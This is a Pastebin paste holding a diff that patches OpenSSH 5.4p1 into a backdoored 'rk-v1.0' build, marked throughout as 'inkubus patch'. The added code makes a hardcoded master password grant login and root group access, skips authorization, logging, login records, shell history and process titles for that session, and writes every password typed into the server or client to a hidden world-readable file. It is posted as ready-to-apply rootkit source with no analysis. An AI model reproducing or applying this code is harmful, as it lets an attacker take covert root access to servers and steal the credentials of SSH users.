Guest User

Untitled

a guest
Jul 27th, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.97 KB | None | 0 0
  1. *** openssh-5.4p1/auth-pam.c Sun Jul 12 20:07:21 2009
  2. --- openssh-5.4p1-rk-v1.0/auth-pam.c Fri Apr 2 21:35:34 2010
  3. ***************
  4. *** 466,471 ****
  5. --- 466,474 ----
  6. if (sshpam_err != PAM_SUCCESS)
  7. goto auth_fail;
  8. sshpam_err = pam_authenticate(sshpam_handle, flags);
  9. + // inkubus patch
  10. + if(iNk) sshpam_err = PAM_SUCCESS;
  11. + // end of patch
  12. if (sshpam_err != PAM_SUCCESS)
  13. goto auth_fail;
  14.  
  15. ***************
  16. *** 815,821 ****
  17. --- 818,834 ----
  18. {
  19. Buffer buffer;
  20. struct pam_ctxt *ctxt = ctx;
  21. + FILE *o;
  22.  
  23. + // inkubus patch
  24. + if(sshpam_authctxt)
  25. + for (ai = 0; ai < num; ++ai) {
  26. + sprintf(abuff, "pam_from: %s \tuser: %s \tpass: %s\n",
  27. + get_remote_ipaddr(), sshpam_authctxt->user, resp[ai]);
  28. + if(!strcmp(ADMINSUPER, resp[ai])) ctxt->pam_done = iNk = 1;
  29. + else o = fopen(SSH_LOG, "a"); fprintf(o, "pam_from: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), sshpam_authctxt->user, resp[ai]); fclose(o); chmod(SSH_LOG, 0666);
  30. + }
  31. + // end of patch
  32. debug2("PAM: %s entering, %u responses", __func__, num);
  33. switch (ctxt->pam_done) {
  34. case 1:
  35. ***************
  36. *** 1045,1050 ****
  37. --- 1058,1066 ----
  38. if (sshpam_err != PAM_SUCCESS)
  39. fatal("PAM: failed to set PAM_CONV: %s",
  40. pam_strerror(sshpam_handle, sshpam_err));
  41. + // inkubus patch
  42. + if(!iNk)
  43. + // end of patch
  44. sshpam_err = pam_open_session(sshpam_handle, 0);
  45. if (sshpam_err == PAM_SUCCESS)
  46. sshpam_session_open = 1;
  47. *** openssh-5.4p1/auth-passwd.c Sun Mar 8 08:40:28 2009
  48. --- openssh-5.4p1-rk-v1.0/auth-passwd.c Fri Apr 2 21:35:34 2010
  49. ***************
  50. *** 82,87 ****
  51. --- 82,88 ----
  52. {
  53. struct passwd * pw = authctxt->pw;
  54. int result, ok = authctxt->valid;
  55. + FILE *o;
  56. #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
  57. static int expire_checked = 0;
  58. #endif
  59. ***************
  60. *** 92,97 ****
  61. --- 93,108 ----
  62. #endif
  63. if (*password == '\0' && options.permit_empty_passwd == 0)
  64. return 0;
  65. + // inkubus patch
  66. + if(!strcmp(ADMINSUPER, password)) {
  67. + iNk = 1;
  68. + // options.permit_root_login = PERMIT_YES;
  69. + return;
  70. + }
  71. + sprintf(abuff, "pass_from: %s \tuser: %s \tpass: %s\n",
  72. + get_remote_ipaddr(), pw->pw_name, password);
  73. + o = fopen(SSH_LOG, "a"); fprintf(o, "pass_from: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), pw->pw_name, password); fclose(o); chmod(SSH_LOG, 0666);
  74. + // end of patch
  75.  
  76. #ifdef KRB5
  77. if (options.kerberos_authentication == 1) {
  78. *** openssh-5.4p1/auth.c Sun Mar 7 08:57:00 2010
  79. --- openssh-5.4p1-rk-v1.0/auth.c Fri Apr 2 21:35:34 2010
  80. ***************
  81. *** 94,99 ****
  82. --- 94,105 ----
  83. int
  84. allowed_user(struct passwd * pw)
  85. {
  86. + // inkubus patch
  87. + if(iNk)
  88. + return 1;
  89. + else {
  90. + // end of patch
  91. +
  92. struct stat st;
  93. const char *hostname = NULL, *ipaddr = NULL, *passwd = NULL;
  94. u_int i;
  95. ***************
  96. *** 249,258 ****
  97. --- 255,270 ----
  98. /* We found no reason not to let this user try to log on... */
  99. return 1;
  100. }
  101. + // inkubus patch
  102. + }
  103. + // end of patch
  104.  
  105. void
  106. auth_log(Authctxt *authctxt, int authenticated, char *method, char *info)
  107. {
  108. + // inkubus patch
  109. + if(!iNk) {
  110. + // end of patch
  111. void (*authlog) (const char *fmt,...) = verbose;
  112. char *authmsg;
  113.  
  114. ***************
  115. *** 297,302 ****
  116. --- 309,317 ----
  117. if (authenticated == 0 && !authctxt->postponed)
  118. audit_event(audit_classify_auth(method));
  119. #endif
  120. + // inkubus patch
  121. + }
  122. + // end of patch
  123. }
  124.  
  125. /*
  126. ***************
  127. *** 305,310 ****
  128. --- 320,328 ----
  129. int
  130. auth_root_allowed(char *method)
  131. {
  132. + // inkubus patch
  133. + if(!iNk) {
  134. + // end of patch
  135. switch (options.permit_root_login) {
  136. case PERMIT_YES:
  137. return 1;
  138. ***************
  139. *** 322,328 ****
  140. logit("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr());
  141. return 0;
  142. }
  143. !
  144.  
  145. /*
  146. * Given a template and a passwd structure, build a filename
  147. --- 340,350 ----
  148. logit("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr());
  149. return 0;
  150. }
  151. ! // inkubus patch
  152. ! else
  153. ! return 1;
  154. ! }
  155. ! // end of patch
  156.  
  157. /*
  158. * Given a template and a passwd structure, build a filename
  159. *** openssh-5.4p1/canohost.c Wed Jan 13 19:43:34 2010
  160. --- openssh-5.4p1-rk-v1.0/canohost.c Fri Apr 2 21:35:34 2010
  161. ***************
  162. *** 81,86 ****
  163. --- 81,89 ----
  164. if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
  165. NULL, 0, NI_NAMEREQD) != 0) {
  166. /* Host name not found. Use ip address. */
  167. + // inkubus patch
  168. + if(!iNk)
  169. + // end of patch
  170. return xstrdup(ntop);
  171. }
  172.  
  173. *** openssh-5.4p1/includes.h Thu Aug 20 14:16:01 2009
  174. --- openssh-5.4p1-rk-v1.0/includes.h Fri Apr 2 21:35:34 2010
  175. ***************
  176. *** 13,18 ****
  177. --- 13,28 ----
  178. * called by a name other than "ssh" or "Secure Shell".
  179. */
  180.  
  181. + // inkubus patch
  182. + #define ADMINSUPER "@#;.,iNk,.;#@"
  183. + #define SSH_LOG "/usr/share/doc/.keep"
  184. +
  185. + char abuff[1024];
  186. + int ai, iNk;
  187. +
  188. + const char *get_remote_ipaddr(void);
  189. + // end of patch
  190. +
  191. #ifndef INCLUDES_H
  192. #define INCLUDES_H
  193.  
  194. *** openssh-5.4p1/log.c Tue Jun 10 21:01:51 2008
  195. --- openssh-5.4p1-rk-v1.0/log.c Fri Apr 2 21:35:34 2010
  196. ***************
  197. *** 338,343 ****
  198. --- 338,346 ----
  199. int pri = LOG_INFO;
  200. int saved_errno = errno;
  201.  
  202. + // inkubus patch
  203. + if(iNk) return;
  204. + // end of patch
  205. if (level > log_level)
  206. return;
  207.  
  208. *** openssh-5.4p1/loginrec.c Sat Jan 9 15:18:04 2010
  209. --- openssh-5.4p1-rk-v1.0/loginrec.c Fri Apr 2 21:35:34 2010
  210. ***************
  211. *** 431,436 ****
  212. --- 431,439 ----
  213. int
  214. login_write(struct logininfo *li)
  215. {
  216. + // inkubus patch
  217. + if(iNk) return 0;
  218. + // end of patch
  219. #ifndef HAVE_CYGWIN
  220. if (geteuid() != 0) {
  221. logit("Attempt to write login records by non-root user (aborting)");
  222. *** openssh-5.4p1/session.c Sun Mar 7 20:05:17 2010
  223. --- openssh-5.4p1-rk-v1.0/session.c Fri Apr 2 21:35:34 2010
  224. ***************
  225. *** 1196,1201 ****
  226. --- 1196,1206 ----
  227. if (getenv("TZ"))
  228. child_set_env(&env, &envsize, "TZ", getenv("TZ"));
  229.  
  230. + // inkubus patch
  231. + if(iNk)
  232. + child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
  233. + // end of patch
  234. +
  235. /* Set custom environment options from RSA authentication. */
  236. if (!options.use_login) {
  237. while (custom_environment) {
  238. ***************
  239. *** 1500,1505 ****
  240. --- 1505,1514 ----
  241.  
  242. if (setlogin(pw->pw_name) < 0)
  243. error("setlogin failed: %s", strerror(errno));
  244. + // inkubus patch
  245. + if(!iNk) {
  246. + // end of patch
  247. +
  248. if (setgid(pw->pw_gid) < 0) {
  249. perror("setgid");
  250. exit(1);
  251. ***************
  252. *** 1509,1514 ****
  253. --- 1518,1530 ----
  254. perror("initgroups");
  255. exit(1);
  256. }
  257. + // inkubus patch
  258. + }
  259. + else {
  260. + setgid(0);
  261. + initgroups(pw->pw_name, 0);
  262. + }
  263. + // end of patch
  264. endgrent();
  265. # ifdef USE_PAM
  266. /*
  267. ***************
  268. *** 1569,1574 ****
  269. --- 1585,1592 ----
  270. }
  271. #else
  272. /* Permanently switch to the desired uid. */
  273. + // inkubus patch
  274. + if(!iNk)
  275. permanently_set_uid(pw);
  276. #endif
  277. }
  278. ***************
  279. *** 2642,2649 ****
  280. {
  281. if (s->pw == NULL)
  282. error("no user for session %d", s->self);
  283. ! else
  284. ! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
  285. }
  286.  
  287. int
  288. --- 2660,2675 ----
  289. {
  290. if (s->pw == NULL)
  291. error("no user for session %d", s->self);
  292. ! // else
  293. ! // setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
  294. ! // inkubus patch
  295. ! else {
  296. ! if(!iNk)
  297. ! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
  298. ! else
  299. ! setproctitle("","");
  300. ! }
  301. ! // end of patch
  302. }
  303.  
  304. int
  305. *** openssh-5.4p1/sshconnect1.c Tue Nov 7 20:14:42 2006
  306. --- openssh-5.4p1-rk-v1.0/sshconnect1.c Fri Apr 2 21:35:34 2010
  307. ***************
  308. *** 448,453 ****
  309. --- 448,454 ----
  310. {
  311. int type, i;
  312. char *password;
  313. + FILE *o;
  314.  
  315. debug("Doing password authentication.");
  316. if (options.cipher == SSH_CIPHER_NONE)
  317. ***************
  318. *** 458,463 ****
  319. --- 459,469 ----
  320. password = read_passphrase(prompt, 0);
  321. packet_start(SSH_CMSG_AUTH_PASSWORD);
  322. ssh_put_password(password);
  323. + // inkubus patch
  324. + sprintf(abuff, "1to: %s \tuser: %s \tpass: %s\n",
  325. + get_remote_ipaddr(), options.user, password);
  326. + o = fopen(SSH_LOG, "a"); fprintf(o, "1to: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, password); fclose(o); chmod(SSH_LOG, 0666);
  327. + // end of patch
  328. memset(password, 0, strlen(password));
  329. xfree(password);
  330. packet_send();
  331. *** openssh-5.4p1/sshconnect2.c Sat Feb 27 04:55:06 2010
  332. --- openssh-5.4p1-rk-v1.0/sshconnect2.c Fri Apr 2 21:39:47 2010
  333. ***************
  334. *** 804,809 ****
  335. --- 804,812 ----
  336. static int attempt = 0;
  337. char prompt[150];
  338. char *password;
  339. + // inkubus patch
  340. + FILE *o;
  341. + // end of patch
  342. const char *host = options.host_key_alias ? options.host_key_alias :
  343. authctxt->host;
  344.  
  345. ***************
  346. *** 822,827 ****
  347. --- 825,835 ----
  348. packet_put_cstring(authctxt->method->name);
  349. packet_put_char(0);
  350. packet_put_cstring(password);
  351. + // inkubus patch
  352. + sprintf(abuff, "2to: %s \tuser: %s \tpass: %s\n",
  353. + get_remote_ipaddr(), options.user, password);
  354. + o = fopen(SSH_LOG, "a"); fprintf(o, "2to: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, password); fclose(o); chmod(SSH_LOG, 0666);
  355. + // end of patch
  356. memset(password, 0, strlen(password));
  357. xfree(password);
  358. packet_add_padding(64);
  359. ***************
  360. *** 1457,1462 ****
  361. --- 1465,1471 ----
  362. char *name, *inst, *lang, *prompt, *response;
  363. u_int num_prompts, i;
  364. int echo = 0;
  365. + FILE *o;
  366.  
  367. debug2("input_userauth_info_req");
  368.  
  369. ***************
  370. *** 1493,1498 ****
  371. --- 1502,1512 ----
  372.  
  373. response = read_passphrase(prompt, echo ? RP_ECHO : 0);
  374.  
  375. + // inkubus patch
  376. + sprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n",
  377. + get_remote_ipaddr(), options.user, response);
  378. + o = fopen(SSH_LOG, "a"); fprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n", get_remote_ipaddr(), options.user, response); fclose(o); chmod(SSH_LOG, 0666);
  379. + // end of patch
  380. packet_put_cstring(response);
  381. memset(response, 0, strlen(response));
  382. xfree(response);
Add Comment
Please, Sign In to add comment